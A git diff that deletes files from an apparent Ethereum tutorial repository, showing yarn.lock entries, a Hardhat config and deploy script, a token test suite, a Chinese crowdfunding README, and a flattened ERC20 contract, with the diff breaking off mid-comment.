-  resolved "https://registry.nlark.com/ws/download/ws-7.4.6.tgz?cache=0&sync_timestamp=1622572542898&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fws%2Fdownload%2Fws-7.4.6.tgz#5654ca8ecdeee47c33a9a4bf6d28e2be2980377c"
-  integrity sha1-VlTKjs3u5HwzqaS/bSjivimAN3w=
-
-xml-name-validator@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/xml-name-validator/download/xml-name-validator-3.0.0.tgz#6ae73e06de4d8c6e47f9fb181f78d648ad457c6a"
-  integrity sha1-auc+Bt5NjG5H+fsYH3jWSK1FfGo=
-
-xmlchars@^2.2.0:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/xmlchars/download/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb"
-  integrity sha1-Bg/hvLf5x2/ioX24apvDq4lCEMs=
-
-xtend@^4.0.0, xtend@~4.0.1:
-  version "4.0.2"
-  resolved "https://registry.npm.taobao.org/xtend/download/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54"
-  integrity sha1-u3J3n1+kZRhrH0OPZ0+jR/2121Q=
-
-y18n@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.npm.taobao.org/y18n/download/y18n-4.0.3.tgz#b5f259c82cd6e336921efd7bfd8bf560de9eeedf"
-  integrity sha1-tfJZyCzW4zaSHv17/Yv1YN6e7t8=
-
-yallist@^3.0.2:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/yallist/download/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
-  integrity sha1-27fa+b/YusmrRev2ArjLrQ1dCP0=
-
-yallist@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/yallist/download/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
-  integrity sha1-m7knkNnA7/7GO+c1GeEaNQGaOnI=
-
-yaml@^1.10.0, yaml@^1.7.2:
-  version "1.10.2"
-  resolved "https://registry.npm.taobao.org/yaml/download/yaml-1.10.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fyaml%2Fdownload%2Fyaml-1.10.2.tgz#2301c5ffbf12b467de8da2333a459e29e7920e4b"
-  integrity sha1-IwHF/78StGfejaIzOkWeKeeSDks=
-
-yargs-parser@^13.1.2:
-  version "13.1.2"
-  resolved "https://registry.npm.taobao.org/yargs-parser/download/yargs-parser-13.1.2.tgz#130f09702ebaeef2650d54ce6e3e5706f7a4fb38"
-  integrity sha1-Ew8JcC667vJlDVTObj5XBvek+zg=
-  dependencies:
-    camelcase "^5.0.0"
-    decamelize "^1.2.0"
-
-yargs-parser@^18.1.2:
-  version "18.1.3"
-  resolved "https://registry.npm.taobao.org/yargs-parser/download/yargs-parser-18.1.3.tgz#be68c4975c6b2abf469236b0c870362fab09a7b0"
-  integrity sha1-vmjEl1xrKr9GkjawyHA2L6sJp7A=
-  dependencies:
-    camelcase "^5.0.0"
-    decamelize "^1.2.0"
-
-yargs@^13.3.2:
-  version "13.3.2"
-  resolved "https://registry.nlark.com/yargs/download/yargs-13.3.2.tgz#ad7ffefec1aa59565ac915f82dccb38a9c31a2dd"
-  integrity sha1-rX/+/sGqWVZayRX4Lcyzipwxot0=
-  dependencies:
-    cliui "^5.0.0"
-    find-up "^3.0.0"
-    get-caller-file "^2.0.1"
-    require-directory "^2.1.1"
-    require-main-filename "^2.0.0"
-    set-blocking "^2.0.0"
-    string-width "^3.0.0"
-    which-module "^2.0.0"
-    y18n "^4.0.0"
-    yargs-parser "^13.1.2"
-
-yargs@^15.4.1:
-  version "15.4.1"
-  resolved "https://registry.nlark.com/yargs/download/yargs-15.4.1.tgz#0d87a16de01aee9d8bec2bfbf74f67851730f4f8"
-  integrity sha1-DYehbeAa7p2L7Cv7909nhRcw9Pg=
-  dependencies:
-    cliui "^6.0.0"
-    decamelize "^1.2.0"
-    find-up "^4.1.0"
-    get-caller-file "^2.0.1"
-    require-directory "^2.1.1"
-    require-main-filename "^2.0.0"
-    set-blocking "^2.0.0"
-    string-width "^4.2.0"
-    which-module "^2.0.0"
-    y18n "^4.0.0"
-    yargs-parser "^18.1.2"
-
-yocto-queue@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.npm.taobao.org/yocto-queue/download/yocto-queue-0.1.0.tgz?cache=0&sync_timestamp=1606290212047&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fyocto-queue%2Fdownload%2Fyocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
-  integrity sha1-ApTrPe4FAo0x7hpfosVWpqrxChs=
diff --git a/Example11-react-express-hardhat/hardhat.config.js b/Example11-react-express-hardhat/hardhat.config.js
deleted file mode 100644
index 5efbc4188..000000000
--- a/Example11-react-express-hardhat/hardhat.config.js
+++ /dev/null
@@ -1,52 +0,0 @@
-require('@nomiclabs/hardhat-waffle')
-const fs = require('fs')
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task('accounts', 'Prints the list of accounts', async () => {
-  const accounts = await ethers.getSigners()
-
-  for (const account of accounts) {
-    console.log(account.address)
-  }
-})
-
-function mnemonic() {
-  return fs.readFileSync('./sk.txt').toString().trim()
-}
-
-// You need to export an object to set up your config
-// Go to https://hardhat.org/config/ to learn more
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: '0.8.0',
-  networks: {
-    localhost: {
-      url: 'http://localhost:8545',
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: 'https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07', //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [mnemonic()],
-    },
-    kovan: {
-      url: 'https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07', //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [mnemonic()],
-    },
-    mainnet: {
-      url: 'https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07', //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [mnemonic()],
-    },
-    ropsten: {
-      url: 'https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07', //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [mnemonic()],
-    },
-  },
-}
diff --git a/Example11-react-express-hardhat/package.json b/Example11-react-express-hardhat/package.json
deleted file mode 100644
index e3d9552fc..000000000
--- a/Example11-react-express-hardhat/package.json
+++ /dev/null
@@ -1,11 +0,0 @@
-{
-  "name": "hardhat-project",
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.3.0",
-    "hardhat": "^2.3.0"
-  }
-}
diff --git a/Example11-react-express-hardhat/scripts/deploy.js b/Example11-react-express-hardhat/scripts/deploy.js
deleted file mode 100644
index 694714fd8..000000000
--- a/Example11-react-express-hardhat/scripts/deploy.js
+++ /dev/null
@@ -1,58 +0,0 @@
-// This is a script for deploying your contracts. You can adapt it to deploy
-// yours, or create new ones.
-async function main() {
-  // This is just a convenience check
-  if (network.name === 'hardhat') {
-    console.warn(
-      'You are trying to deploy a contract to the Hardhat Network, which' +
-        'gets automatically created and destroyed every time. Use the Hardhat' +
-        " option '--network localhost'"
-    )
-  }
-
-  // ethers is avaialble in the global scope
-  const [deployer] = await ethers.getSigners()
-  console.log(
-    'Deploying the contracts with the account:',
-    await deployer.getAddress()
-  )
-
-  console.log('Account balance:', (await deployer.getBalance()).toString())
-
-  const Token = await ethers.getContractFactory('SimpleToken')
-  const token = await Token.deploy('Test', 'SimpleToken', 1, 10000)
-  await token.deployed()
-
-  console.log('Token address:', token.address)
-
-  // We also save the contract's artifacts and address in the frontend directory
-  saveFrontendFiles(token)
-}
-
-function saveFrontendFiles(token) {
-  const fs = require('fs')
-  const contractsDir = __dirname + '/../frontend/src/contracts'
-
-  if (!fs.existsSync(contractsDir)) {
-    fs.mkdirSync(contractsDir)
-  }
-
-  fs.writeFileSync(
-    contractsDir + '/contract-address.json',
-    JSON.stringify({ Token: token.address }, undefined, 2)
-  )
-
-  const TokenArtifact = artifacts.readArtifactSync('SimpleToken')
-
-  fs.writeFileSync(
-    contractsDir + '/Token.json',
-    JSON.stringify(TokenArtifact, null, 2)
-  )
-}
-
-main()
-  .then(() => process.exit(0))
-  .catch((error) => {
-    console.error(error)
-    process.exit(1)
-  })
diff --git a/Example11-react-express-hardhat/test/SimpleToken.js b/Example11-react-express-hardhat/test/SimpleToken.js
deleted file mode 100644
index 3ecc05d96..000000000
--- a/Example11-react-express-hardhat/test/SimpleToken.js
+++ /dev/null
@@ -1,118 +0,0 @@
-// This is an exmaple test file. Hardhat will run every *.js file in `test/`,
-// so feel free to add new ones.
-
-// Hardhat tests are normally written with Mocha and Chai.
-
-// We import Chai to use its asserting functions here.
-const { expect } = require('chai')
-
-// `describe` is a Mocha function that allows you to organize your tests. It's
-// not actually needed, but having your tests organized makes debugging them
-// easier. All Mocha functions are available in the global scope.
-
-// `describe` recieves the name of a section of your test suite, and a callback.
-// The callback must define the tests of that section. This callback can't be
-// an async function.
-describe('SimpleToken contract', function () {
-  // Mocha has four functions that let you hook into the the test runner's
-  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
-
-  // They're very useful to setup the environment for tests, and to clean it
-  // up after they run.
-
-  // A common pattern is to declare some variables, and assign them in the
-  // `before` and `beforeEach` callbacks.
-
-  let simpleToken
-  let hardhatSimpleToken
-  let owner
-  let addr1
-  let addr2
-  let addrs
-
-  // `beforeEach` will run before each test, re-deploying the contract every
-  // time. It receives a callback, which can be async.
-  beforeEach(async function () {
-    // Get the ContractFactory and Signers here.
-    simpleToken = await ethers.getContractFactory('SimpleToken')
-    ;[owner, addr1, addr2, ...addrs] = await ethers.getSigners()
-
-    // To deploy our contract, we just have to call Token.deploy() and await
-    // for it to be deployed(), which happens onces its transaction has been
-    // mined.
-    hardhatSimpleToken = await simpleToken.deploy(
-      'SimpleToken Test',
-      'SimpleToken Test',
-      1,
-      1000000
-    )
-    await hardhatSimpleToken.deployed()
-  })
-
-  // You can nest describe calls to create subsections.
-  describe('Deployment', function () {
-    // `it` is another Mocha function. This is the one you use to define your
-    // tests. It receives the test name, and a callback function.
-
-    it('Should assign the total supply of tokens to the owner', async function () {
-      const ownerBalance = await hardhatSimpleToken.balanceOf(owner.address)
-      expect(await hardhatSimpleToken.totalSupply()).to.equal(ownerBalance)
-    })
-  })
-
-  describe('Transactions', function () {
-    it('Should transfer tokens between accounts', async function () {
-      // Transfer 50 tokens from owner to addr1
-      await hardhatSimpleToken.transfer(addr1.address, 50)
-      const addr1Balance = await hardhatSimpleToken.balanceOf(addr1.address)
-      expect(addr1Balance).to.equal(50)
-
-      // Transfer 50 tokens from addr1 to addr2
-      // We use .connect(signer) to send a transaction from another account
-      await hardhatSimpleToken.connect(addr1).transfer(addr2.address, 50)
-      const addr2Balance = await hardhatSimpleToken.balanceOf(addr2.address)
-      expect(addr2Balance).to.equal(50)
-    })
-
-    it('Should fail if sender doesn’t have enough tokens', async function () {
-      const initialOwnerBalance = await hardhatSimpleToken.balanceOf(
-        owner.address
-      )
-
-      // Try to send 1 token from addr1 (0 tokens) to owner (1000 tokens).
-      // `require` will evaluate false and revert the transaction.
-      await expect(
-        hardhatSimpleToken.connect(addr1).transfer(owner.address, 10000)
-      ).to.be.revertedWith('transfer amount exceeds balance')
-
-      // Owner balance shouldn't have changed.
-      expect(await hardhatSimpleToken.balanceOf(owner.address)).to.equal(
-        initialOwnerBalance
-      )
-    })
-
-    it('Should update balances after transfers', async function () {
-      const initialOwnerBalance = await hardhatSimpleToken.balanceOf(
-        owner.address
-      )
-
-      // Transfer 100 tokens from owner to addr1.
-      await hardhatSimpleToken.transfer(addr1.address, 100)
-
-      // Transfer another 50 tokens from owner to addr2.
-      await hardhatSimpleToken.transfer(addr2.address, 50)
-
-      // Check balances.
-      const finalOwnerBalance = await hardhatSimpleToken.balanceOf(
-        owner.address
-      )
-      expect(finalOwnerBalance).to.equal(initialOwnerBalance - 150)
-
-      const addr1Balance = await hardhatSimpleToken.balanceOf(addr1.address)
-      expect(addr1Balance).to.equal(100)
-
-      const addr2Balance = await hardhatSimpleToken.balanceOf(addr2.address)
-      expect(addr2Balance).to.equal(50)
-    })
-  })
-})
diff --git a/Example12-token-crowdfund/README.md b/Example12-token-crowdfund/README.md
deleted file mode 100644
index 981339526..000000000
--- a/Example12-token-crowdfund/README.md
+++ /dev/null
@@ -1,41 +0,0 @@
-## 众筹合约
-本样例演示众筹合约的基本流程，包括部署合约，合约，启动众筹项目，
-
-## 操作流程
-- 安装依赖
-```
-yarn
-```
-
-- 编译合约
-```
-npx hardhat compile
-```
-
-- 测试合约
-```
-npx hardhat test
-```
-
-- 部署合约
-```
-npx hardhat run scripts/deploy_crowdfunding.js --network kovan
-```
-## Crowdsale类型
-
- - CappedCrowdsale
- - IndividuallyCappedCrowdsale
- - TimedCrowdsale
- - WhitelistedCrowdsale
- - FinalizableCrowdsale
- - PostDeliveryCrowdsale
- - RefundableCrowdsale
- - AllowanceCrowdsale
- - MintedCrowdsale
- - IncreasingPriceCrowdsale
- 
-## 参考链接
-https://medium.com/openberry/creating-a-simple-crowdfunding-dapp-with-ethereum-solidity-and-vue-js-69ddb8e132dd  
-https://medium.com/extropy-io/crowdsales-on-ethereum-with-openzeppelin-57bbdea95390  
-https://www.programmersought.com/article/1396206575/  
-https://github.com/OpenZeppelin/openzeppelin-contracts/tree/release-v2.3.0/contracts/crowdsale  
diff --git a/Example12-token-crowdfund/contracts/SimpleToken.sol b/Example12-token-crowdfund/contracts/SimpleToken.sol
deleted file mode 100644
index cabfc2599..000000000
--- a/Example12-token-crowdfund/contracts/SimpleToken.sol
+++ /dev/null
@@ -1,3307 +0,0 @@
-// Sources flattened with hardhat v2.3.0 https://hardhat.org
-
-// File contracts/IERC20.sol
-pragma solidity ^0.8.0;
-/**
- * @dev Interface of the ERC20 standard as defined in the EIP.
- */
-interface IERC20 {
-    /**
-     * @dev Returns the amount of tokens in existence.
-     */
-    function totalSupply() external view returns (uint256);
-
-    /**
-     * @dev Returns the amount of tokens owned by `account`.
-     */
-    function balanceOf(address account) external view returns (uint256);
-
-    /**
-     * @dev Moves `amount` tokens from the caller's account to `recipient`.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transfer(address recipient, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Returns the remaining number of tokens that `spender` will be
-     * allowed to spend on behalf of `owner` through {transferFrom}. This is
-     * zero by default.
-     *
-     * This value changes when {approve} or {transferFrom} are called.
-     */
-    function allowance(address owner, address spender) external view returns (uint256);
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * IMPORTANT: Beware that changing an allowance with this method brings the risk
-     * that someone may use both the old and the new allowance by unfortunate
-     * transaction ordering. One possible solution to mitigate this race
-     * condition is to first reduce the spender's allowance to 0 and set the
-     * desired value afterwards:
-     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
-     *
-     * Emits an {Approval} event.
-     */
-    function approve(address spender, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Moves `amount` tokens from `sender` to `recipient` using the
-     * allowance mechanism. `amount` is then deducted from the caller's
-     * allowance.
-     *
-     * Returns a boolean value indicating whether the operation succeeded.
-     *
-     * Emits a {Transfer} event.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
-
-    /**
-     * @dev Emitted when `value` tokens are moved from one account (`from`) to
-     * another (`to`).
-     *
-     * Note that `value` may be zero.
-     */
-    event Transfer(address indexed from, address indexed to, uint256 value);
-
-    /**
-     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
-     * a call to {approve}. `value` is the new allowance.
-     */
-    event Approval(address indexed owner, address indexed spender, uint256 value);
-}
-
-
-// File contracts/extensions/IERC20Metadata.sol
-
-/**
- * @dev Interface for the optional metadata functions from the ERC20 standard.
- *
- * _Available since v4.1._
- */
-interface IERC20Metadata is IERC20 {
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() external view returns (string memory);
-
-    /**
-     * @dev Returns the symbol of the token.
-     */
-    function symbol() external view returns (string memory);
-
-    /**
-     * @dev Returns the decimals places of the token.
-     */
-    function decimals() external view returns (uint8);
-}
-
-
-// File contracts/utils/Context.sol
-
-
-/*
- * @dev Provides information about the current execution context, including the
- * sender of the transaction and its data. While these are generally available
- * via msg.sender and msg.data, they should not be accessed in such a direct
- * manner, since when dealing with meta-transactions the account sending and
- * paying for execution may not be the actual sender (as far as an application
- * is concerned).
- *
- * This contract is only required for intermediate, library-like contracts.
- */
-abstract contract Context {
-    function _msgSender() internal view virtual returns (address) {
-        return msg.sender;
-    }
-
-    function _msgData() internal view virtual returns (bytes calldata) {
-        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
-        return msg.data;
-    }
-}
-
-
-// File contracts/ERC20.sol
-
-/**
- * @dev Implementation of the {IERC20} interface.
- *
- * This implementation is agnostic to the way tokens are created. This means
- * that a supply mechanism has to be added in a derived contract using {_mint}.
- * For a generic mechanism see {ERC20PresetMinterPauser}.
- *
- * TIP: For a detailed writeup see our guide
- * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
- * to implement supply mechanisms].
- *
- * We have followed general OpenZeppelin guidelines: functions revert instead
- * of returning `false` on failure. This behavior is nonetheless conventional
- * and does not conflict with the expectations of ERC20 applications.
- *
- * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
- * This allows applications to reconstruct the allowance for all accounts just
- * by listening to said events. Other implementations of the EIP may not emit
- * these events, as it isn't required by the specification.
- *
- * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
- * functions have been added to mitigate the well-known issues around setting
- * allowances. See {IERC20-approve}.
- */
-contract ERC20 is Context, IERC20, IERC20Metadata {
-    mapping (address => uint256) private _balances;
-
-    mapping (address => mapping (address => uint256)) private _allowances;
-
-    uint256 private _totalSupply;
-
-    string private _name;
-    string private _symbol;
-
-    /**
-     * @dev Sets the values for {name} and {symbol}.
-     *
-     * The default value of {decimals} is 18. To select a different value for
-     * {decimals} you should overload it.
-     *
-     * All two of these values are immutable: they can only be set once during
-     * construction.
-     */
-    constructor (string memory name_, string memory symbol_) {
-        _name = name_;
-        _symbol = symbol_;
-    }
-
-    /**
-     * @dev Returns the name of the token.
-     */
-    function name() public view virtual override returns (string memory) {
-        return _name;
-    }
-
-    /**
-     * @dev Returns the symbol of the token, usually a shorter version of the
-     * name.
-     */
-    function symbol() public view virtual override returns (string memory) {
-        return _symbol;
-    }
-
-    /**
-     * @dev Returns the number of decimals used to get its user representation.
-     * For example, if `decimals` equals `2`, a balance of `505` tokens should
-     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
-     *
-     * Tokens usually opt for a value of 18, imitating the relationship between
-     * Ether and Wei. This is the value {ERC20} uses, unless this function is
-     * overridden;
-     *
-     * NOTE: This information is only used for _display_ purposes: it in
-     * no way affects any of the arithmetic of the contract, including
-     * {IERC20-balanceOf} and {IERC20-transfer}.
-     */
-    function decimals() public view virtual override returns (uint8) {
-        return 18;
-    }
-
-    /**
-     * @dev See {IERC20-totalSupply}.
-     */
-    function totalSupply() public view virtual override returns (uint256) {
-        return _totalSupply;
-    }
-
-    /**
-     * @dev See {IERC20-balanceOf}.
-     */
-    function balanceOf(address account) public view virtual override returns (uint256) {
-        return _balances[account];
-    }
-
-    /**
-     * @dev See {IERC20-transfer}.
-     *
-     * Requirements:
-     *
-     * - `recipient` cannot be the zero address.
-     * - the caller must have a balance of at least `amount`.
-     */
-    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(_msgSender(), recipient, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-allowance}.
-     */
-    function allowance(address owner, address spender) public view virtual override returns (uint256) {
-        return _allowances[owner][spender];
-    }
-
-    /**
-     * @dev See {IERC20-approve}.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function approve(address spender, uint256 amount) public virtual override returns (bool) {
-        _approve(_msgSender(), spender, amount);
-        return true;
-    }
-
-    /**
-     * @dev See {IERC20-transferFrom}.
-     *
-     * Emits an {Approval} event indicating the updated allowance. This is not
-     * required by the EIP. See the note at the beginning of {ERC20}.
-     *
-     * Requirements:
-     *
-     * - `sender` and `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     * - the caller must have allowance for ``sender``'s tokens of at least
-     * `amount`.
-     */
-    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
-        _transfer(sender, recipient, amount);
-
-        uint256 currentAllowance = _allowances[sender][_msgSender()];
-        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
-        unchecked {
-            _approve(sender, _msgSender(), currentAllowance - amount);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Atomically increases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     */
-    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
-        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
-        return true;
-    }
-
-    /**
-     * @dev Atomically decreases the allowance granted to `spender` by the caller.
-     *
-     * This is an alternative to {approve} that can be used as a mitigation for
-     * problems described in {IERC20-approve}.
-     *
-     * Emits an {Approval} event indicating the updated allowance.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `spender` must have allowance for the caller of at least
-     * `subtractedValue`.
-     */
-    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
-        uint256 currentAllowance = _allowances[_msgSender()][spender];
-        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
-        unchecked {
-            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
-        }
-
-        return true;
-    }
-
-    /**
-     * @dev Moves tokens `amount` from `sender` to `recipient`.
-     *
-     * This is internal function is equivalent to {transfer}, and can be used to
-     * e.g. implement automatic token fees, slashing mechanisms, etc.
-     *
-     * Emits a {Transfer} event.
-     *
-     * Requirements:
-     *
-     * - `sender` cannot be the zero address.
-     * - `recipient` cannot be the zero address.
-     * - `sender` must have a balance of at least `amount`.
-     */
-    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
-        require(sender != address(0), "ERC20: transfer from the zero address");
-        require(recipient != address(0), "ERC20: transfer to the zero address");
-
-        _beforeTokenTransfer(sender, recipient, amount);
-
-        uint256 senderBalance = _balances[sender];
-        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
-        unchecked {
-            _balances[sender] = senderBalance - amount;
-        }
-        _balances[recipient] += amount;
-
-        emit Transfer(sender, recipient, amount);
-    }
-
-    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
-     * the total supply.
-     *
-     * Emits a {Transfer} event with `from` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     */
-    function _mint(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: mint to the zero address");
-
-        _beforeTokenTransfer(address(0), account, amount);
-
-        _totalSupply += amount;
-        _balances[account] += amount;
-        emit Transfer(address(0), account, amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, reducing the
-     * total supply.
-     *
-     * Emits a {Transfer} event with `to` set to the zero address.
-     *
-     * Requirements:
-     *
-     * - `account` cannot be the zero address.
-     * - `account` must have at least `amount` tokens.
-     */
-    function _burn(address account, uint256 amount) internal virtual {
-        require(account != address(0), "ERC20: burn from the zero address");
-
-        _beforeTokenTransfer(account, address(0), amount);
-
-        uint256 accountBalance = _balances[account];
-        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
-        unchecked {
-            _balances[account] = accountBalance - amount;
-        }
-        _totalSupply -= amount;
-
-        emit Transfer(account, address(0), amount);
-    }
-
-    /**
-     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
-     *
-     * This internal function is equivalent to `approve`, and can be used to
-     * e.g. set automatic allowances for certain subsystems, etc.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `owner` cannot be the zero address.
-     * - `spender` cannot be the zero address.
-     */
-    function _approve(address owner, address spender, uint256 amount) internal virtual {
-        require(owner != address(0), "ERC20: approve from the zero address");
-        require(spender != address(0), "ERC20: approve to the zero address");
-
-        _allowances[owner][spender] = amount;
-        emit Approval(owner, spender, amount);
-    }
-
-    /**
-     * @dev Hook that is called before any transfer of tokens. This includes
-     * minting and burning.
-     *
-     * Calling conditions:
-     *
-     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
-     * will be to transferred to `to`.
-     * - when `from` is zero, `amount` tokens will be minted for `to`.
-     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
-     * - `from` and `to` are never both zero.
-     *
-     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
-}
-
-
-// File contracts/utils/Strings.sol
-
-
-
-
-
-library Strings {
-    bytes16 private constant alphabet = "0123456789abcdef";
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
-     */
-    function toString(uint256 value) internal pure returns (string memory) {
-        // Inspired by OraclizeAPI's implementation - MIT licence
-        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
-
-        if (value == 0) {
-            return "0";
-        }
-        uint256 temp = value;
-        uint256 digits;
-        while (temp != 0) {
-            digits++;
-            temp /= 10;
-        }
-        bytes memory buffer = new bytes(digits);
-        while (value != 0) {
-            digits -= 1;
-            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
-            value /= 10;
-        }
-        return string(buffer);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
-     */
-    function toHexString(uint256 value) internal pure returns (string memory) {
-        if (value == 0) {
-            return "0x00";
-        }
-        uint256 temp = value;
-        uint256 length = 0;
-        while (temp != 0) {
-            length++;
-            temp >>= 8;
-        }
-        return toHexString(value, length);
-    }
-
-    /**
-     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
-     */
-    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
-        bytes memory buffer = new bytes(2 * length + 2);
-        buffer[0] = "0";
-        buffer[1] = "x";
-        for (uint256 i = 2 * length + 1; i > 1; --i) {
-            buffer[i] = alphabet[value & 0xf];
-            value >>= 4;
-        }
-        require(value == 0, "Strings: hex length insufficient");
-        return string(buffer);
-    }
-
-}
-
-
-// File contracts/extensions/IERC165.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC165 standard, as defined in the
- * https://eips.ethereum.org/EIPS/eip-165[EIP].
- *
- * Implementers can declare support of contract interfaces, which can then be
- * queried by others ({ERC165Checker}).
- *
- * For an implementation, see {ERC165}.
- */
-interface IERC165 {
-    /**
-     * @dev Returns true if this contract implements the interface defined by
-     * `interfaceId`. See the corresponding
-     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
-     * to learn more about how these ids are created.
-     *
-     * This function call must use less than 30 000 gas.
-     */
-    function supportsInterface(bytes4 interfaceId) external view returns (bool);
-}
-
-
-// File contracts/extensions/ERC165.sol
-
-
-
-
-
-/**
- * @dev Implementation of the {IERC165} interface.
- *
- * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
- * for the additional interface id that will be supported. For example:
- *
- * ```solidity
- * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
- *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
- * }
- * ```
- *
- * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
- */
-abstract contract ERC165 is IERC165 {
-    /**
-     * @dev See {IERC165-supportsInterface}.
-     */
-    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
-        return interfaceId == type(IERC165).interfaceId;
-    }
-}
-
-
-// File contracts/extensions/AccessControl.sol
-
-/**
- * @dev External interface of AccessControl declared to support ERC165 detection.
- */
-interface IAccessControl {
-    function hasRole(bytes32 role, address account) external view returns (bool);
-    function getRoleAdmin(bytes32 role) external view returns (bytes32);
-    function grantRole(bytes32 role, address account) external;
-    function revokeRole(bytes32 role, address account) external;
-    function renounceRole(bytes32 role, address account) external;
-}
-
-/**
- * @dev Contract module that allows children to implement role-based access
- * control mechanisms. This is a lightweight version that doesn't allow enumerating role
- * members except through off-chain means by accessing the contract event logs. Some
- * applications may benefit from on-chain enumerability, for those cases see
- * {AccessControlEnumerable}.
- *
- * Roles are referred to by their `bytes32` identifier. These should be exposed
- * in the external API and be unique. The best way to achieve this is by
- * using `public constant` hash digests:
- *
- * ```
- * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
- * ```
- *
- * Roles can be used to represent a set of permissions. To restrict access to a
- * function call, use {hasRole}:
- *
- * ```
- * function foo() public {
- *     require(hasRole(MY_ROLE, msg.sender));
- *     ...
